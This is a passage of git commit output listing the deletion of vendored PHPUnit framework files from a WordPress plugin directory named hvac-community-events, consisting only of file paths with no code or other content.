wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ClassIsReadonlyException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ConfigurableMethodsAlreadyInitializedException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/DuplicateMethodException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/IncompatibleReturnValueException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/InvalidMethodNameException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MatchBuilderNotFoundException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MatcherAlreadyRegisteredException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodCannotBeConfiguredException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameAlreadyConfiguredException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameNotConfiguredException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodParametersAlreadyConfiguredException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/OriginalConstructorInvocationRequiredException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ReflectionException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ReturnValueNotConfiguredException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/RuntimeException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/SoapExtensionNotAvailableException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownClassException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTraitException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTypeException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/deprecation.tpl delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/intersection.tpl delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_class.tpl delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_method.tpl delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_method_never_or_void.tpl delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_static_method.tpl delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/proxied_method.tpl delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/proxied_method_never_or_void.tpl delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/trait_class.tpl delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/wsdl_class.tpl delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/wsdl_method.tpl delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Invocation.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/InvocationHandler.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Matcher.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MethodNameConstraint.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockBuilder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockClass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockMethod.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockMethodSet.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockObject.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockTrait.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/AnyInvokedCount.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/AnyParameters.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/ConsecutiveParameters.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvocationOrder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtIndex.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastCount.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastOnce.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtMostCount.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedCount.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/MethodName.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/Parameters.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/ParametersRule.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ConsecutiveCalls.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnArgument.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnReference.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnSelf.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnStub.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnValueMap.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/Stub.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Verifiable.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Reorderable.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/SelfDescribing.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/SkippedTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/SkippedTestCase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Test.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestBuilder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestCase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestFailure.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestListener.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestListenerDefaultImplementation.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestResult.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestSuite.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestSuiteIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/WarningTestCase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/BaseTestRunner.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/DefaultTestResultCache.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Extension/ExtensionHandler.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Extension/PharLoader.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/ExcludeGroupFilterIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/Factory.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/GroupFilterIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/IncludeGroupFilterIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Filter/NameFilterIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterIncompleteTestHook.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterLastTestHook.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterRiskyTestHook.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterSkippedTestHook.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterSuccessfulTestHook.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestErrorHook.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestFailureHook.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestHook.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestWarningHook.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/BeforeFirstTestHook.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/BeforeTestHook.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/Hook.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/TestHook.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/TestListenerAdapter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/NullTestResultCache.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/PhptTestCase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/ResultCacheExtension.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/StandardTestSuiteLoader.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/TestResultCache.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/TestSuiteLoader.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/TestSuiteSorter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Version.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/CliArguments/Builder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/CliArguments/Configuration.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/CliArguments/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/CliArguments/Mapper.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Command.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/DefaultResultPrinter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/ReflectionException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/RuntimeException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/TestDirectoryNotFoundException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/TestFileNotFoundException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Help.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/ResultPrinter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/TestRunner.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/TestSuiteMapper.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/CodeCoverage.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/Directory.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollectionIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/FilterMapper.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Clover.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Cobertura.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Crap4j.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Html.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Php.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Text.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Xml.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Configuration.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/Directory.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollectionIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/File.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollectionIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Generator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Group.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollectionIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Groups.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Loader.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Junit.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Logging.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TeamCity.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Html.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Text.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Xml.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Text.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilderException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/ConvertLogTypes.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCloverToReport.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCrap4jToReport.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageHtmlToReport.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoveragePhpToReport.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageTextToReport.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageXmlToReport.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/IntroduceCoverageElement.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/LogToReportMigration.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/Migration.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromFilterWhitelistToCoverage.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromRootToCoverage.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistExcludesToCoverage.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistIncludesToCoverage.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveCacheTokensAttribute.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveEmptyFilter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveLogTypes.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/UpdateSchemaLocationTo93.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Constant.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollectionIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSetting.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollectionIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Php.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/PhpHandler.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Variable.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollectionIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/Extension.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollection.php delete mode 100644 